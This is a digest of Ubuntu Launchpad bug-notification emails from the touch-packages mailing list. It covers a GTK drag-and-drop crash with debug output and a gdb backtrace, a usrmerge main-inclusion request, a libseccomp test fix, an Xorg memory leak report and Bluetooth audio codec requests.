  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  libpango-1.0.so.0 => /lib/x86_64-linux-gnu/libpango-1.0.so.0 
(0x7fdbb4947000)
  libgio-2.0.so.0 => /lib/x86_64-linux-gnu/libgio-2.0.so.0 
(0x7fdbb4766000)
  libgobject-2.0.so.0 => /lib/x86_64-linux-gnu/libgobject-2.0.so.0 
(0x7fdbb4706000)
  libglib-2.0.so.0 => /lib/x86_64-linux-gnu/libglib-2.0.so.0 
(0x7fdbb45dd000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7fdbb43e9000)
  libgmodule-2.0.so.0 => /lib/x86_64-linux-gnu/libgmodule-2.0.so.0 
(0x7fdbb43e3000)
  libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[XXX]

Hi Daniel,

I never removed GDK_SYNCHRONIZE from /etc/environment.  It's been set
that way for a few reboots.  In addition, I confirmed it was set to 1
before running gdb.

I'm wondering if you're not getting as much as you'd expect from the
backtrace because I had to kill the thunar process.  When thunar crashed
within gdb, the mouse was stuck unfocused, meaning I couldn't focus on
any window to type.  I was only able to recover focus by killing the
thunar process (not gdb) via a remote shell from another computer, after
which I was able to run bt.  Do you know of a way to automatically run
bt in gdb if the process crashes?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  

[Touch-packages] [Bug 1906671] Re: [MIR] usrmerge

[Launchpad Bug Tracker]

This bug was fixed in the package debootstrap - 1.0.123ubuntu4

---
debootstrap (1.0.123ubuntu4) hirsute; urgency=medium

  * No-change rebuild to drop the udeb package.

 -- Matthias Klose   Mon, 22 Feb 2021 10:30:44 +0100

** Changed in: debootstrap (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1906671

Title:
  [MIR] usrmerge

Status in debootstrap package in Ubuntu:
  Fix Released
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in usrmerge package in Ubuntu:
  Fix Released

Bug description:
  [Availability]

  In universe.

  [Rationale]

  Since Disco, Ubuntu has defaulted to merged usr systems, specifically
  that /lib is a symlink to /usr/lib.

  However, we have not yet completed this transition for systems that
  were installed pre-disco.

  This package performs such transition using maintainer scripts. It has
  been tested and improved thoroughly and has managed to work with all
  sorts of packages that happened to be installed on the system.

  For systems that were installed post disco, this package is
  effectively a no-op. Systems that use nfs mounting with split /usr
  care must be taken to ensure that initrd mounts nfs-backed /usr. The
  package aborts configuration if such rare configuration is detected to
  avoid potentially bracking reboot.

  For all other systems, we always provide a fallback initrd which has
  been mounting both / and /usr whenever possible.

  [Security]

  The package ships two perl scripts, which are executed by root from
  maintainer scripts.

  [Quality assurance]

  There is debconf question one can preseed to prevent the migration,
  there is README.Debian explaining what it does and how. It is a one-
  way / one-time migration, removing the package will not undo the
  migration.

  [Dependencies]

  Perl, and many documented conflicts to ensure that usrmerge compatible
  packages are on disk prior to migration.

  [Standards compliance]

  Adheres to Debian Policy.

  [Maintenance]

  Maintained in Debian, merged and supported by Foundations,
  foundations-bugs is subscribed.

  [Background information]

  This will complete usrmerge migration, and will allow to switch
  buildds to build packages with merged-usr by default.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/debootstrap/+bug/1906671/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915874] Re: autopkgtest fails in hirsute on armhf with glibc 2.33

[Launchpad Bug Tracker]

This bug was fixed in the package libseccomp - 2.5.1-1ubuntu1

---
libseccomp (2.5.1-1ubuntu1) hirsute; urgency=medium

  [ Christian Ehrhardt ]
  * Merge with Debian; remaining changes:
- Add autopkgtests
  * Dropped changes:
- d/p/db-consolidate-some-of-the-code-which-adds-rules.patch [in v2.5.0]
- d/p/db-add-shadow-transactions.patch [in v2.5.0]
- add-5.4-local-syscall-headers.patch [only for backports]
- Add missing syscalls for aarch64 [in v2.5.0]
  * Added changes:
- bump to recent stable release v2.5.1
- drop patches that are upstream in 2.5.1
  - d/p/all_only_request_the_userspace_notification_fd_once.patch
  - d/p/arch_ensure_we_dont_munge_pseudo_syscall_numbers.patch
  - d/p/build_undefine_mips_to_prevent_build_problems.patch
  - d/p/system_change_our_notification_fd_handling.patch
  - d/p/tests_use_openat_and_fstat_instead_of_open_and_stat_syscalls.patch

  [ Alex Murray ]
  * Add system call headers for powerpc required for backport to xenial
- d/p/add-5.8-powerpc-syscall-headers.patch

  [ Balint Reczey ]
  * Fix failing autopkgtests on armhf with glibc 2.33 (LP: #1915874)
- Update various autopkgtests to permit the use of statx as this is
  now required with glibc 2.33

libseccomp (2.5.1-1) unstable; urgency=medium

  * New upstream release.
  * Drop all patches as they have been applied upstream.

libseccomp (2.5.0-3) unstable; urgency=medium

  * Cherry-pick patch from the 2.5 branch to fix test error on mips:
- arch_ensure_we_dont_munge_pseudo_syscall_numbers.patch

libseccomp (2.5.0-2) unstable; urgency=medium

  * Upload to unstable.
  * Cherry-pick patches from the 2.5 branch to fix build and test errors:
- build_undefine_mips_to_prevent_build_problems.patch
- tests_use_openat_and_fstat_instead_of_open_and_stat_syscalls.patch

libseccomp (2.5.0-1) experimental; urgency=medium

  * New upstream release.
- Build-depend on gperf.
- Update symbols file.
  * Remove patches that have been applied upstream:
- cython3.patch
- riscv64_support.patch
  * Cherry-pick patches from the 2.5 branch:
- all_only_request_the_userspace_notification_fd_once.patch
- system_change_our_notification_fd_handling.patch

libseccomp (2.4.4-1) unstable; urgency=medium

  * Team upload.

  [ Debian Janitor ]
  * Set upstream metadata fields: Repository, Repository-Browse.
  * Set upstream metadata fields: Bug-Database, Bug-Submit, Repository.

  [ Felix Geyer ]
  * New upstream release.
  * Download and verify orig gpg signature.

 -- Alex Murray   Thu, 18 Feb 2021 10:57:21
+1030

** Changed in: libseccomp (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1915874

Title:
  autopkgtest fails in hirsute on armhf with glibc 2.33

Status in libseccomp package in Ubuntu:
  Fix Released

Bug description:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/armhf/libs/libseccomp/20210214_103448_4822f@/log.gz
  ...
  autopkgtest [10:33:19]: test test-filter: [---
  = ./debian/tests/data/all-3.19.filter =
  DEBUG: seccomp_load_filters ./debian/tests/data/all-3.19.filter
  Bad system call (core dumped)
  FAIL: expected to pass
  ...

  The problem seems to be that with the new glibc upstream version the
  test binaries started using statx which is not listed in the .filter
  files.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1915874/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916765] Re: Xorg memory leak

[Daniel van Vugt]

Thanks for the bug report. Since app windows' resources are all stored
in the Xorg process I think this is most likely the result of an X11
resource leak in some application. To find out which one please test
with no apps, and then with a smaller set of apps. You should be able to
identify which application is triggering the leak.


** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu)

** Changed in: xorg-server (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1916765

Title:
  Xorg memory leak

Status in xorg-server package in Ubuntu:
  Incomplete

Bug description:
  Ubuntu Version: 20.10 groovy
  Xorg Version: ii  xorg   1:7.7+19ubuntu15 amd64X.Org X 
Window System

  xorg seems to have a memory leak - usage grows from 200mb of memory to
  fill all available memory (several GBs)

  ps -o pid,user,%mem,command ax | grep Xorg
 1071 root  5.6 /usr/lib/xorg/Xorg -core :0 -seat seat0 -auth 
/var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch

  1071:   /usr/lib/xorg/Xorg -core :0 -seat seat0 -auth 
/var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch
  55bd3ad76000244K r Xorg
  55bd3adb3000   1632K r-x-- Xorg
  55bd3af4b000480K r Xorg
  55bd3afc4000 16K r Xorg
  55bd3afc8000 44K rw--- Xorg
  55bd3afd3000128K rw---   [ anon ]
  55bd3ba2b000 611340K rw---   [ anon ]
  7f572dd68000  12288K rw-s-   [ anon ]
  7f572e968000  10240K rw-s-   [ anon ]
  7f5731468000 131072K rw-s-   [ shmid=0x2c8018 ]
  7f5739468000  24576K rw-s-   [ anon ]
  7f573ac68000  14336K rw-s-   [ anon ]
  7f573ba68000  14336K rw-s-   [ anon ]
  7f573c868000  24576K rw-s-   [ anon ]
  7f573e068000  24576K rw-s-   [ anon ]
  7f573f868000  24576K rw-s-   [ anon ]
  7f5742a68000  24576K rw-s-   [ anon ]
  7f5744368000   5120K rw-s-   [ anon ]
  7f5745af8000  24000K rw-s- memfd:xorg (deleted)
  7f5747268000 131072K rw-s-   [ shmid=0x1a8017 ]
  7f574f268000  24576K rw-s-   [ anon ]
  7f5750a68000  24576K rw-s-   [ anon ]
  7f5752268000 262144K rw-s-   [ shmid=0x28022 ]
  7f5762e1e000  12020K rw-s-   [ shmid=0xe000a ]
  7f57639db000  12020K rw-s-   [ shmid=0xe0009 ]
  7f5765198000  11072K rw-s-   [ shmid=0x9001e ]
  7f5765d3  12288K rw-s-   [ anon ]
  7f576693  10240K rw-s-   [ anon ]
  7f576733  11072K rw-s-   [ shmid=0x9001d ]
  7f5767e0  10240K rw-s-   [ anon ]
  7f576900   8192K rw-s-   [ anon ]
  7f576980   4096K rw-s-   [ shmid=0x90004 ]
  7f5769d66000   6760K rw---   [ anon ]
  7f576a40  12288K rw-s-   [ anon ]
  7f576b4d8000   5120K rw-s-   [ anon ]
  7f576c0d8000  12288K rw-s-   [ anon ]
  7f576cdd8000  12288K rw-s-   [ anon ]
  7f576e2d8000   8192K rw-s-   [ anon ]
  7f576ead8000800K rw-s-   [ shmid=0x20032 ]
  7f576ed8f000   2628K rw-s-   [ shmid=0x130029 ]
  7f576f80 262144K rw-s-   [ shmid=0x2e ]
  7f577f848000784K rw-s-   [ shmid=0x2002f ]
  7f577fa0   2560K rw-s-   [ anon ]
  7f578018   7168K rw-s-   [ anon ]
  7f578088   2560K rw-s-   [ anon ]
  7f5780b0   4096K rw-s-   [ shmid=0x5003e ]
  7f578100  24576K rw-s-   [ anon ]
  7f57828ef000   2628K rw-s-   [ shmid=0x130027 ]
  7f5782cd6000   1280K rw-s-   [ anon ]
  7f5782e16000   1280K rw-s-   [ anon ]
  7f57831b6000896K rw-s-   [ anon ]
  7f5783296000   6568K rw-s- memfd:xorg (deleted)
  7f578390   7168K rw-s-   [ anon ]
  7f578400132K rw---   [ anon ]
  7f5784021000  65404K -   [ anon ]
  7f578800132K rw---   [ anon ]
  7f5788021000  65404K -   [ anon ]
  7f578c00132K rw---   [ anon ]
  7f578c021000  65404K -   [ anon ]
  7f57900be000896K rw-s-   [ anon ]
  7f57901a8000   1280K rw-s-   [ anon ]
  7f57902e8000512K rw-s-   [ shmid=0x9801a ]
  7f57903e8000196K rw-s-   [ shmid=0x98001 ]
  7f5790469000212K rw-s-   [ shmid=0x68036 ]
  7f57905ca000196K rw-s-   [ shmid=0x98002 ]
  7f57905fb000220K rw-s-   [ shmid=0x88016 ]
  7f579066a000256K rw-s-   [ anon ]
  7f57906aa000784K rw-s-   [ shmid=0x20030 ]
  7f579077e000512K rw-s-   [ shmid=0x58039 ]
  7f57907fe000   4096K rw-s-   [ shmid=0x15 ]
  7f5790dae000512K rw-s-   [ shmid=0x320006 ]
  7f5790e6e000   2048K rw-s-   [ shmid=0x23000e ]
  7f579110e000800K rw-s-   [ shmid=0x20031 ]
  7f579126e000320K rw-s-   [ anon ]
  7f57913fe000   4096K rw-s-   [ shmid=0x2d ]
  7f579199d000   3584K rw-s-   [ anon ]
  7f5791d1d000640K rw-s-   [ anon ]
  7f5791e1d000   1024K rw-s-   [ anon ]
  7f5791f9d000512K rw-s-   [ shmid=0x31001f ]
  7f579201d000768K 

[Touch-packages] [Bug 1838151] Re: Poor quality audio with modern Bluetooth headsets in HSP/HFP. Missing wide band speech support (Bluetooth A2DP codecs).

[Daniel van Vugt]

** Tags added: fixed-in-15 fixed-upstream

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1838151

Title:
  Poor quality audio with modern Bluetooth headsets in HSP/HFP.  Missing
  wide band speech support (Bluetooth A2DP codecs).

Status in PulseAudio:
  New
Status in bluez package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Committed
Status in Arch Linux:
  New

Bug description:
  Bluetooth HSP/HFP audio quality is poor on Ubuntu comparative to all
  other major platforms (Windows, MacOS, ChromeOS, Android, iOS).

  Modern Bluetooth headsets (such as the Bose QC series headphones, many
  others) are capable of using HFP 1.6 with mSBC 16kHz audio encoding.
  As it currently stands, Ubuntu defaults to only supporting HSP
  headsets using 8kHz CVSD, and is incapable of supporting HFP 1.6 at
  this time.

  The ChromiumOS team recently tackled this issue -
  https://bugs.chromium.org/p/chromium/issues/detail?id=843048

  Their efforts may assist in bringing this to Ubuntu, however it
  appears that there are quite a lot of differences considering they
  have developed their own audio server solution etc.

  The Bluetooth Telephony Working Group published the HFP 1.6 spec in
  May 2011 -
  https://www.bluetooth.org/docman/handlers/downloaddoc.ashx?doc_id=238193

  Patches have been proposed in the past for this issue to the kernel
  and PulseAudio:

  PulseAudio: https://patchwork.freedesktop.org/patch/245272/
  Kernel: https://www.spinics.net/lists/linux-bluetooth/msg76982.html

  It appears that the Chromium OS team applied the same kernel patch:
  
https://chromium.googlesource.com/chromiumos/third_party/kernel/+/77dd0cb94c1713a8a12f6e392955dfa64c430e54

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: pulseaudio 1:12.2-2ubuntu3
  ProcVersionSignature: Ubuntu 5.0.0-20.21-generic 5.0.8
  Uname: Linux 5.0.0-20-generic x86_64
  ApportVersion: 2.20.10-0ubuntu27.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  jnappi 2777 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Sat Jul 27 11:08:29 2019
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2017-11-04 (629 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018)
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: pulseaudio
  UpgradeStatus: Upgraded to disco on 2019-07-18 (9 days ago)
  dmi.bios.date: 06/07/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: R07ET67W (2.07 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20FW000TUS
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0J40705 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrR07ET67W(2.07):bd06/07/2016:svnLENOVO:pn20FW000TUS:pvrThinkPadT460p:rvnLENOVO:rn20FW000TUS:rvrSDK0J40705WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.family: ThinkPad T460p
  dmi.product.name: 20FW000TUS
  dmi.product.sku: LENOVO_MT_20FW_BU_Think_FM_ThinkPad T460p
  dmi.product.version: ThinkPad T460p
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1838151/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1870829] Re: AptX and AptX HD unavailable as Bluetooth audio quality options

[Daniel van Vugt]

** No longer affects: gnome-control-center (Ubuntu)

** Changed in: pulseaudio (Ubuntu)
   Status: Confirmed => Fix Committed

** Tags added: fixed-in-15 fixed-upstream

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1870829

Title:
  AptX and AptX HD unavailable as Bluetooth audio quality options

Status in pulseaudio package in Ubuntu:
  Fix Committed

Bug description:
  Current situation:

  When one connects a Bluetooth audio device, at best one can choose
  between "Headset Head Unit (HSP/HFP)" and "High Fidelity Playback
  (A2DP Sink)". That is sad when the audio device supports AptX or AptX
  HD.

  
  Expected situation:

  One can select AptX or AptX HD as the Bluetooth audio output profile.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1870829/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[Daniel van Vugt]

Please remember to keep GDK_SYNCHRONIZE=1 in your /etc/environment so we
can see the proper stack trace of each crash.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  libpango-1.0.so.0 => /lib/x86_64-linux-gnu/libpango-1.0.so.0 
(0x7fdbb4947000)
  libgio-2.0.so.0 => /lib/x86_64-linux-gnu/libgio-2.0.so.0 
(0x7fdbb4766000)
  libgobject-2.0.so.0 => /lib/x86_64-linux-gnu/libgobject-2.0.so.0 
(0x7fdbb4706000)
  libglib-2.0.so.0 => /lib/x86_64-linux-gnu/libglib-2.0.so.0 
(0x7fdbb45dd000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7fdbb43e9000)
  libgmodule-2.0.so.0 => /lib/x86_64-linux-gnu/libgmodule-2.0.so.0 

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[Daniel van Vugt]

Strangely that backtrace is incomplete. There should be more than two
frames...

(gdb) bt
#0  _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
#1  0x14698a9c in g_log_writer_default (log_level=6, 
fields=0x7fffc920, n_fields=6, user_data=0x0) at 
../../../glib/gmessages.c:2694
(gdb) quit

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
